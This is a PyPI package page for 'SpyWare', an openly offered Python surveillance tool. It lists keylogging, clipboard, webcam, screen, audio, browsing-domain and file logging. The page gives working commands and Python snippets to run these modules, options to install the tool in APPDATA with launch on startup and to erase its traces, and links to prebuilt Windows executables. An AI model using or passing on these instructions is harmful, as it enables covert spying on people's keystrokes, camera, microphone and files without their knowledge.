![SpyWare logo](https://mauricelambert.github.io/info/python/security/SpyWare_small.png "SpyWare logo")
# SpyWare
## Description
This package implements a complete spyware.
Features:
- KeyLogger
- ClipboardLogger
- Domains/IP logger
- Webcam spy
- Screen spy
- Files logger
- Recorder
## Requirements
This package require:
- python3
- python3 Standard Library
- pyautogui
- opencv-python
- pillow
- pyperclip
- pynput
- pyaudio
## Installation
```bash
pip install SpyWare
```
## Usages
### Command line
```bash
SpyWare # Run all modules
SpyWare runonly -s # Run only screen module
SpyWare runonly --screen --key # Run only screen module and keylogger
SpyWare runonly --key my.conf # Run only module key with custom configuration file
SpyWare --install # Install spyware in random destination, enable it and run all modules
SpyWare --enable # Enable the SpyWare (start on reboot)
SpyWare --env "keySpy.conf=my.conf" # Add an environment variable (this defined the name of the custom configuration file for the keylogger)
SpyWare donotrun --domains --webcam # Run all modules except domains and webcam
# Following arguments are executed on python exit
# To stop the spyware you should raise a KeyboardInterrupt (Ctrl-C in the terminal)
# Is not working on OS shutdown or process kill
SpyWare --remove # Remove all files generated by the SpyWare and the SpyWare (the executable file only)
SpyWare --tar # Add data generated by the SpyWare in a .tar archive
SpyWare --tar "gz" # Add data generated by the SpyWare in a .tar.gz archive (compressed)
```
### Python executables
```bash
python3 WebcamLogger.pyz # Execute the webcam module
python3 WebcamLogger.pyz my.conf # Execute the webcam module with custom configuration file
# OR
chmod u+x AudioLogger.pyz # Add execution permission
./AudioLogger.pyz my.conf # Execute the audio (recorder) module
python3 SpyWare.pyz runonly --files # Run only the files modules
# OR
chmod u+x SpyWare.pyz # Add execution permission
./SpyWare.pyz donotrun --clipboard --key # Run all modules except clipboard module and keylogger
```
### Python module
```bash
python3 -m SpyWare # Run all modules
python3 -m SpyWare.AudioLogger # Run only one module
python3 -m SpyWare.WebcamLogger my.conf # Run only one module with custom configuration file
python3 -m SpyWare.FilesLogger.FilesLogger # Run only one module
python3 -m SpyWare.KeyLogger.KeyLogger my.conf # Run only one module with custom configuration file
```
### Python script
```python
from SpyWare import spyware
spyware() # Run all modules
```
```python
from SpyWare import AudioLogger
from SpyWare.KeyLogger import keySpy
AudioLogger.audioSpy() # Run audio (recorder) module
keySpy(filename="my.conf") # Run keylogger with custom configuration file
```
There are three way to change the configuration filename:
1. Using the *filename* argument of the *configuration loader* function
2. Using environment variables (in python: `os.environ`). The name of the environment variable is the filename of the default configuration file.
3. Using command line arguments
Examples available in HTML documentation of modules.
```python
from SpyWare.FilesLogger import Daemon, filesConfig
filesConfig("my.conf") # Load configuration
Daemon().run_for_ever() # Start the daemon thread of "files" module
```
```python
from SpyWare.ClipboardLogger import Daemon, copyConfig
from os import environ
environ["clipboardSpy.conf"] = "my.conf" # Change the environment variable
copyConfig() # Load configuration
daemon = Daemon()
daemon.run_for_ever() # Start the daemon thread of clipboard module
```
```python
from SpyWare.ScreenLogger import Daemon, screenConfig
screenConfig(argv=["_", "my.conf"]) # Use custom argv to load configuration
daemon = Daemon()
daemon.run_for_ever() # Start the daemon thread of screen module
```
## Default configurations
### Clipboard
```ini
[SAVE]
filename = clipboard.txt
[TIME]
check_internval = 11
```
### Recorder
```ini
[SAVE]
filename = record*.wav
dirname = records
[TIME]
interval = 3590
record_time = 10
```
### Domains
```ini
[SAVE]
filename = domains.txt
[TIME]
interval_dns = 60
interval_appdata = 86400
interval_reading_file = 0.5
interval_domain = 0.05
```
### Fileslogger
```ini
[SAVE]
filename = files.csv
[TIME]
file_interval = 0.1
directory_interval = 1
scan_interval = 86400
```
### Keylogger
```ini
[SAVE]
filename = keySpy.txt
event_press = 0
event_release = 0
hot_keys = 1
event_time = 1
[TIME]
```
### Screenshot
```ini
[SAVE]
filename = screenshot*.png
dirname = screenshots
[TIME]
screenshot_interval = 3600
```
### Webcam
```ini
[SAVE]
filename = webcam*.png
dirname = pictures
[TIME]
picture_interval = 3600
```
## Helps
```text
~# SpyWare --help
SpyWare Copyright (C) 2021, 2022 Maurice Lambert
This program comes with ABSOLUTELY NO WARRANTY.
This is free software, and you are welcome to redistribute it
under certain conditions.
usage: SpyWare.pyz [-h] [--env [ENV ...]] [--install] [--enable] [--remove] [--tar [{bz2,xz,gz}]] {runonly,donotrun} ...
This file implements a complete spyware.
positional arguments:
{runonly,donotrun} Modules selection type.
runonly Run only specified modules.
donotrun Do not run specified modules.
optional arguments:
-h, --help show this help message and exit
--env [ENV ...], -e [ENV ...]
Add environment variable, values should be formatted as <key>=<value>
--install, -i Install the spyware in APPDATA and enabled it (launch on startup)
--enable, -E Enable the spyware (launch it on startup)
--remove, -r Remove spyware trace (executable/script, links and data)
--tar [{bz2,xz,gz}], -t [{bz2,xz,gz}]
Build a tar file with data, optional value should be 'gz', 'xz', 'bz2' to compress.
```
```text
~# SpyWare --help
SpyWare Copyright (C) 2021, 2022 Maurice Lambert
This program comes with ABSOLUTELY NO WARRANTY.
This is free software, and you are welcome to redistribute it
under certain conditions.
usage: SpyWare.pyz runonly [-h] [--audio [AUDIO]] [--clipboard [CLIPBOARD]] [--domains [DOMAINS]] [--files [FILES]] [--key [KEY]] [--screen [SCREEN]] [--webcam [WEBCAM]]
optional arguments:
-h, --help show this help message and exit
modules:
SpyWare modules to launch in this process.
--audio [AUDIO], -a [AUDIO]
Run module audio with optional value as configuration file (default=audioSpy.conf).
--clipboard [CLIPBOARD], -c [CLIPBOARD]
Run module clipboard with optional value as configuration file (default=clipboardSpy.conf).
--domains [DOMAINS], -d [DOMAINS]
Run module domains with optional value as configuration file (default=domainsSpy.conf).
--files [FILES], -f [FILES]
Run module files with optional value as configuration file (default=filesSpy.conf).
--key [KEY], -k [KEY]
Run module key with optional value as configuration file (default=keySpy.conf).
--screen [SCREEN], -s [SCREEN]
Run module screen with optional value as configuration file (default=screenSpy.conf).
--webcam [WEBCAM], -w [WEBCAM]
Run module webcam with optional value as configuration file (default=webcamSpy.conf).
```
```text
~# SpyWare --help
SpyWare Copyright (C) 2021, 2022 Maurice Lambert
This program comes with ABSOLUTELY NO WARRANTY.
This is free software, and you are welcome to redistribute it
under certain conditions.
usage: SpyWare.pyz donotrun [-h] [--audio] [--clipboard] [--domains] [--files] [--key] [--screen] [--webcam]
optional arguments:
-h, --help show this help message and exit
modules:
SpyWare modules to not launch in this process.
--audio, -a Do not run module audio.
--clipboard, -c Do not run module clipboard.
--domains, -d Do not run module domains.
--files, -f Do not run module files.
--key, -k Do not run module key.
--screen, -s Do not run module screen.
--webcam, -w Do not run module webcam.
```
## Links
- [Github Page](https://github.com/mauricelambert/SpyWare)
- [Windows Executable (one file)](https://github.com/mauricelambert/SpyWare/releases/download/v1.0.0/SpyWare.exe)
- [Windows Executable](https://github.com/mauricelambert/SpyWare/releases/download/v1.0.0/SpyWare.zip)
- [Documentation](https://mauricelambert.github.io/info/python/security/SpyWare/SpyWare.html)
- [Documentation Clipboard](https://mauricelambert.github.io/info/python/security/SpyWare/ClipboardLogger.html)
- [Documentation Screenshot](https://mauricelambert.github.io/info/python/security/SpyWare/ScreenLogger.html)
- [Documentation Domains](https://mauricelambert.github.io/info/python/security/SpyWare/DomainsLogger.html)
- [Documentation Recorder](https://mauricelambert.github.io/info/python/security/SpyWare/AudioLogger.html)
- [Documentation Keylogger](https://mauricelambert.github.io/info/python/security/SpyWare/KeyLogger.html)
- [Documentation Webcam](https://mauricelambert.github.io/info/python/security/SpyWare/WebcamLogger.html)
- [Documentation Files](https://mauricelambert.github.io/info/python/security/SpyWare/FilesLogger.html)
- [Download as python executable](https://mauricelambert.github.io/info/python/security/SpyWare.pyz)
- [Download Clipboard as python executable](https://mauricelambert.github.io/info/python/security/SpyWare/ClipboardLogger.pyz)
- [Download Screenshot as python executable](https://mauricelambert.github.io/info/python/security/SpyWare/ScreenLogger.pyz)
- [Download Domains as python executable](https://mauricelambert.github.io/info/python/security/SpyWare/DomainsLogger.pyz)
- [Download Recorder as python executable](https://mauricelambert.github.io/info/python/security/SpyWare/AudioLogger.pyz)
- [Download Keylogger as python executable](https://mauricelambert.github.io/info/python/security/SpyWare/KeyLogger.pyz)
- [Download Webcam as python executable](https://mauricelambert.github.io/info/python/security/SpyWare/WebcamLogger.pyz)
- [Download Files as python executable](https://mauricelambert.github.io/info/python/security/SpyWare/FilesLogger.pyz)
- [Pypi package](https://pypi.org/project/SpyWare/)
## Licence
Licensed under the [GPL, version 3](https://www.gnu.org/licenses/).
Raw data
{
"_id": null,
"home_page": "https://github.com/mauricelambert/SpyWare",
"name": "SpyWare",
"maintainer": "Maurice Lambert",
"docs_url": null,
"requires_python": ">=3.6",
"maintainer_email": "mauricelambert434@gmail.com",
"keywords": "KeyLogger, SpyWare, WebCam, ClibBoard, DNS Cache, Screen, Recorder, Files, Spy",
"author": "Maurice Lambert",
"author_email": "mauricelambert434@gmail.com",
"download_url": "https://files.pythonhosted.org/packages/74/a0/c3d09b0a6bd815ca7971b25a399b75854c61350680c64a8542c9a6b91a89/spyware-1.0.6.tar.gz",
"platform": "Windows",
"description": "![SpyWare logo](https://mauricelambert.github.io/info/python/security/SpyWare_small.png \"SpyWare logo\")\n\n# SpyWare\n\n## Description\n\nThis package implements a complete spyware.\n\nFeatures:\n\n - KeyLogger\n - ClipboardLogger\n - Domains/IP logger\n - Webcam spy\n - Screen spy\n - Files logger\n - Recorder\n\n## Requirements\n\nThis package require:\n\n - python3\n - python3 Standard Library\n - pyautogui\n - opencv-python\n - pillow\n - pyperclip\n - pynput\n - pyaudio\n\n## Installation\n\n```bash\npip install SpyWare\n```\n\n## Usages\n\n### Command line\n\n```bash\nSpyWare # Run all modules\nSpyWare runonly -s # Run only screen module\nSpyWare runonly --screen --key # Run only screen module and keylogger\nSpyWare runonly --key my.conf # Run only module key with custom configuration file\nSpyWare --install # Install spyware in random destination, enable it and run all modules\nSpyWare --enable # Enable the SpyWare (start on reboot)\nSpyWare --env \"keySpy.conf=my.conf\" # Add an environment variable (this defined the name of the custom configuration file for the keylogger)\nSpyWare donotrun --domains --webcam # Run all modules except domains and webcam\n\n# Following arguments are executed on python exit\n# To stop the spyware you should raise a KeyboardInterrupt (Ctrl-C in the terminal)\n# Is not working on OS shutdown or process kill\nSpyWare --remove # Remove all files generated by the SpyWare and the SpyWare (the executable file only)\nSpyWare --tar # Add data generated by the SpyWare in a .tar archive\nSpyWare --tar \"gz\" # Add data generated by the SpyWare in a .tar.gz archive (compressed)\n```\n\n### Python executables\n\n```bash\npython3 WebcamLogger.pyz # Execute the webcam module\npython3 WebcamLogger.pyz my.conf # Execute the webcam module with custom configuration file\n# OR\nchmod u+x AudioLogger.pyz # Add execution permission\n./AudioLogger.pyz my.conf # Execute the audio (recorder) module\n\npython3 SpyWare.pyz runonly --files # Run only the files modules\n# OR\nchmod u+x SpyWare.pyz # Add execution permission\n./SpyWare.pyz donotrun --clipboard --key # Run all modules except clipboard module and keylogger\n```\n\n### Python module\n\n```bash\npython3 -m SpyWare # Run all modules\npython3 -m SpyWare.AudioLogger # Run only one module\npython3 -m SpyWare.WebcamLogger my.conf # Run only one module with custom configuration file\npython3 -m SpyWare.FilesLogger.FilesLogger # Run only one module\npython3 -m SpyWare.KeyLogger.KeyLogger my.conf # Run only one module with custom configuration file\n```\n\n### Python script\n\n```python\nfrom SpyWare import spyware\nspyware() # Run all modules\n```\n\n```python\nfrom SpyWare import AudioLogger\nfrom SpyWare.KeyLogger import keySpy\nAudioLogger.audioSpy() # Run audio (recorder) module\nkeySpy(filename=\"my.conf\") # Run keylogger with custom configuration file\n```\n\nThere are three way to change the configuration filename:\n 1. Using the *filename* argument of the *configuration loader* function\n 2. Using environment variables (in python: `os.environ`). The name of the environment variable is the filename of the default configuration file.\n 3. Using command line arguments\n\nExamples available in HTML documentation of modules.\n\n```python\nfrom SpyWare.FilesLogger import Daemon, filesConfig\nfilesConfig(\"my.conf\") # Load configuration\nDaemon().run_for_ever() # Start the daemon thread of \"files\" module\n```\n\n```python\nfrom SpyWare.ClipboardLogger import Daemon, copyConfig\n\nfrom os import environ\nenviron[\"clipboardSpy.conf\"] = \"my.conf\" # Change the environment variable\n\ncopyConfig() # Load configuration\n\ndaemon = Daemon()\ndaemon.run_for_ever() # Start the daemon thread of clipboard module\n```\n\n```python\nfrom SpyWare.ScreenLogger import Daemon, screenConfig\n\nscreenConfig(argv=[\"_\", \"my.conf\"]) # Use custom argv to load configuration\n\ndaemon = Daemon()\ndaemon.run_for_ever() # Start the daemon thread of screen module\n```\n\n## Default configurations\n\n### Clipboard\n\n```ini\n[SAVE]\nfilename = clipboard.txt\n\n[TIME]\ncheck_internval = 11\n```\n\n### Recorder\n\n```ini\n[SAVE]\nfilename = record*.wav\ndirname = records\n\n[TIME]\ninterval = 3590\nrecord_time = 10\n```\n\n### Domains\n\n```ini\n[SAVE]\nfilename = domains.txt\n\n[TIME]\ninterval_dns = 60\ninterval_appdata = 86400\ninterval_reading_file = 0.5\ninterval_domain = 0.05\n```\n\n### Fileslogger\n\n```ini\n[SAVE]\nfilename = files.csv\n\n[TIME]\nfile_interval = 0.1\ndirectory_interval = 1\nscan_interval = 86400\n```\n\n### Keylogger\n\n```ini\n[SAVE]\nfilename = keySpy.txt\nevent_press = 0\nevent_release = 0\nhot_keys = 1\nevent_time = 1\n\n[TIME]\n```\n\n### Screenshot\n\n```ini\n[SAVE]\nfilename = screenshot*.png\ndirname = screenshots\n\n[TIME]\nscreenshot_interval = 3600\n```\n\n### Webcam\n\n```ini\n[SAVE]\nfilename = webcam*.png\ndirname = pictures\n\n[TIME]\npicture_interval = 3600\n```\n\n## Helps\n\n```text\n~# SpyWare --help\n\nSpyWare Copyright (C) 2021, 2022 Maurice Lambert\nThis program comes with ABSOLUTELY NO WARRANTY.\nThis is free software, and you are welcome to redistribute it\nunder certain conditions.\n\nusage: SpyWare.pyz [-h] [--env [ENV ...]] [--install] [--enable] [--remove] [--tar [{bz2,xz,gz}]] {runonly,donotrun} ...\n\nThis file implements a complete spyware.\n\npositional arguments:\n {runonly,donotrun} Modules selection type.\n runonly Run only specified modules.\n donotrun Do not run specified modules.\n\noptional arguments:\n -h, --help show this help message and exit\n --env [ENV ...], -e [ENV ...]\n Add environment variable, values should be formatted as <key>=<value>\n --install, -i Install the spyware in APPDATA and enabled it (launch on startup)\n --enable, -E Enable the spyware (launch it on startup)\n --remove, -r Remove spyware trace (executable/script, links and data)\n --tar [{bz2,xz,gz}], -t [{bz2,xz,gz}]\n Build a tar file with data, optional value should be 'gz', 'xz', 'bz2' to compress.\n```\n\n```text\n~# SpyWare --help\n\nSpyWare Copyright (C) 2021, 2022 Maurice Lambert\nThis program comes with ABSOLUTELY NO WARRANTY.\nThis is free software, and you are welcome to redistribute it\nunder certain conditions.\n\nusage: SpyWare.pyz runonly [-h] [--audio [AUDIO]] [--clipboard [CLIPBOARD]] [--domains [DOMAINS]] [--files [FILES]] [--key [KEY]] [--screen [SCREEN]] [--webcam [WEBCAM]]\n\noptional arguments:\n -h, --help show this help message and exit\n\nmodules:\n SpyWare modules to launch in this process.\n\n --audio [AUDIO], -a [AUDIO]\n Run module audio with optional value as configuration file (default=audioSpy.conf).\n --clipboard [CLIPBOARD], -c [CLIPBOARD]\n Run module clipboard with optional value as configuration file (default=clipboardSpy.conf).\n --domains [DOMAINS], -d [DOMAINS]\n Run module domains with optional value as configuration file (default=domainsSpy.conf).\n --files [FILES], -f [FILES]\n Run module files with optional value as configuration file (default=filesSpy.conf).\n --key [KEY], -k [KEY]\n Run module key with optional value as configuration file (default=keySpy.conf).\n --screen [SCREEN], -s [SCREEN]\n Run module screen with optional value as configuration file (default=screenSpy.conf).\n --webcam [WEBCAM], -w [WEBCAM]\n Run module webcam with optional value as configuration file (default=webcamSpy.conf).\n```\n\n```text\n~# SpyWare --help\n\nSpyWare Copyright (C) 2021, 2022 Maurice Lambert\nThis program comes with ABSOLUTELY NO WARRANTY.\nThis is free software, and you are welcome to redistribute it\nunder certain conditions.\n\nusage: SpyWare.pyz donotrun [-h] [--audio] [--clipboard] [--domains] [--files] [--key] [--screen] [--webcam]\n\noptional arguments:\n -h, --help show this help message and exit\n\nmodules:\n SpyWare modules to not launch in this process.\n\n --audio, -a Do not run module audio.\n --clipboard, -c Do not run module clipboard.\n --domains, -d Do not run module domains.\n --files, -f Do not run module files.\n --key, -k Do not run module key.\n --screen, -s Do not run module screen.\n --webcam, -w Do not run module webcam.\n```\n\n## Links\n\n - [Github Page](https://github.com/mauricelambert/SpyWare)\n - [Windows Executable (one file)](https://github.com/mauricelambert/SpyWare/releases/download/v1.0.0/SpyWare.exe)\n - [Windows Executable](https://github.com/mauricelambert/SpyWare/releases/download/v1.0.0/SpyWare.zip)\n - [Documentation](https://mauricelambert.github.io/info/python/security/SpyWare/SpyWare.html)\n - [Documentation Clipboard](https://mauricelambert.github.io/info/python/security/SpyWare/ClipboardLogger.html)\n - [Documentation Screenshot](https://mauricelambert.github.io/info/python/security/SpyWare/ScreenLogger.html)\n - [Documentation Domains](https://mauricelambert.github.io/info/python/security/SpyWare/DomainsLogger.html)\n - [Documentation Recorder](https://mauricelambert.github.io/info/python/security/SpyWare/AudioLogger.html)\n - [Documentation Keylogger](https://mauricelambert.github.io/info/python/security/SpyWare/KeyLogger.html)\n - [Documentation Webcam](https://mauricelambert.github.io/info/python/security/SpyWare/WebcamLogger.html)\n - [Documentation Files](https://mauricelambert.github.io/info/python/security/SpyWare/FilesLogger.html)\n - [Download as python executable](https://mauricelambert.github.io/info/python/security/SpyWare.pyz)\n - [Download Clipboard as python executable](https://mauricelambert.github.io/info/python/security/SpyWare/ClipboardLogger.pyz)\n - [Download Screenshot as python executable](https://mauricelambert.github.io/info/python/security/SpyWare/ScreenLogger.pyz)\n - [Download Domains as python executable](https://mauricelambert.github.io/info/python/security/SpyWare/DomainsLogger.pyz)\n - [Download Recorder as python executable](https://mauricelambert.github.io/info/python/security/SpyWare/AudioLogger.pyz)\n - [Download Keylogger as python executable](https://mauricelambert.github.io/info/python/security/SpyWare/KeyLogger.pyz)\n - [Download Webcam as python executable](https://mauricelambert.github.io/info/python/security/SpyWare/WebcamLogger.pyz)\n - [Download Files as python executable](https://mauricelambert.github.io/info/python/security/SpyWare/FilesLogger.pyz)\n - [Pypi package](https://pypi.org/project/SpyWare/)\n\n## Licence\n\nLicensed under the [GPL, version 3](https://www.gnu.org/licenses/).\n",
"bugtrack_url": null,
"license": "GPL-3.0 License",
"summary": "This package implements a complete SpyWare.",
"version": "1.0.6",
"project_urls": {
"Clipboard - Python executable": "https://mauricelambert.github.io/info/python/security/SpyWare/ClipboardLogger.pyz",
"Documentation": "https://mauricelambert.github.io/info/python/security/SpyWare/SpyWare.html",
"Documentation Clipboard": "https://mauricelambert.github.io/info/python/security/SpyWare/ClipboardLogger.html",
"Documentation Domains": "https://mauricelambert.github.io/info/python/security/SpyWare/DomainsLogger.html",
"Documentation Files": "https://mauricelambert.github.io/info/python/security/SpyWare/FilesLogger.html",
"Documentation Keylogger": "https://mauricelambert.github.io/info/python/security/SpyWare/KeyLogger.html",
"Documentation Recorder": "https://mauricelambert.github.io/info/python/security/SpyWare/AudioLogger.html",
"Documentation Screenshot": "https://mauricelambert.github.io/info/python/security/SpyWare/ScreenLogger.html",
"Documentation Webcam": "https://mauricelambert.github.io/info/python/security/SpyWare/WebcamLogger.html",
"Domains - Python executable": "https://mauricelambert.github.io/info/python/security/SpyWare/DomainsLogger.pyz",
"Files - Python executable": "https://mauricelambert.github.io/info/python/security/SpyWare/FilesLogger.pyz",
"Homepage": "https://github.com/mauricelambert/SpyWare",
"Keylogger - Python executable": "https://mauricelambert.github.io/info/python/security/SpyWare/KeyLogger.pyz",
"Python executable": "https://mauricelambert.github.io/info/python/security/SpyWare.pyz",
"Recorder - Python executable": "https://mauricelambert.github.io/info/python/security/SpyWare/AudioLogger.pyz",
"Screenshot - Python executable": "https://mauricelambert.github.io/info/python/security/SpyWare/ScreenLogger.pyz",
"Webcam - Python executable": "https://mauricelambert.github.io/info/python/security/SpyWare/WebcamLogger.pyz",
"Windows Executable": "https://github.com/mauricelambert/SpyWare/releases/download/v1.0.0/SpyWare.zip",
"Windows Executable (one file)": "https://github.com/mauricelambert/SpyWare/releases/download/v1.0.0/SpyWare.exe"
},
"split_keywords": [
"keylogger",
" spyware",
" webcam",
" clibboard",
" dns cache",
" screen",
" recorder",
" files",
" spy"
],
"urls": [
{
"comment_text": "",
"digests": {
"blake2b_256": "74a0c3d09b0a6bd815ca7971b25a399b75854c61350680c64a8542c9a6b91a89",
"md5": "94ed13638264b4e0934c06f9122b9e25",
"sha256": "68cb433151fd24382ad1252b1467c0c0ae5b8c889b6cd4e0011aeb4f029ea73b"
},
"downloads": -1,
"filename": "spyware-1.0.6.tar.gz",
"has_sig": false,
"md5_digest": "94ed13638264b4e0934c06f9122b9e25",
"packagetype": "sdist",
"python_version": "source",
"requires_python": ">=3.6",
"size": 977312,
"upload_time": "2024-11-18T17:28:12",
"upload_time_iso_8601": "2024-11-18T17:28:12.869310Z",
"url": "https://files.pythonhosted.org/packages/74/a0/c3d09b0a6bd815ca7971b25a399b75854c61350680c64a8542c9a6b91a89/spyware-1.0.6.tar.gz",
"yanked": false,
"yanked_reason": null
}
],
"upload_time": "2024-11-18 17:28:12",
"github": true,
"gitlab": false,
"bitbucket": false,
"codeberg": false,
"github_user": "mauricelambert",
"github_project": "SpyWare",
"travis_ci": false,
"coveralls": false,
"github_actions": false,
"lcname": "spyware"
}